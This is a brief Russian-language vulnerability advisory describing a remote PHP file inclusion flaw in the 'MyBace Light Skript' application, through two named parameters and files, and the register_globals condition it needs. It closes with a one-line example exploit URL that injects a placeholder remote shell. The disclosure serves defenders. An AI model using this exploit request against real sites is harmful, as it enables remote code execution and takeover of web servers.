Программа: MyBace Light Skript
Уязвимость позволяет удаленному
пользователю выполнить произвольный PHP
сценарий на целевой системе. Уязвимость
существует из-за недостаточной обработки
входных данных в параметре "hauptverzeichniss"
в сценарии includes/login_check.php, и в параметре "template_back"
в сценарии admin/login/content/user_daten.php. Удаленный
пользователь может выполнить произвольный
PHP сценарий на целевой системе с
привилегиями Web сервера. Для удачной
эксплуатации уязвимости опция "register_globals"
должна быть включена в конфигурационном
файле PHP.
Пример:
http://[target]/includes/login_check.php?hauptverzeichniss=[shell]
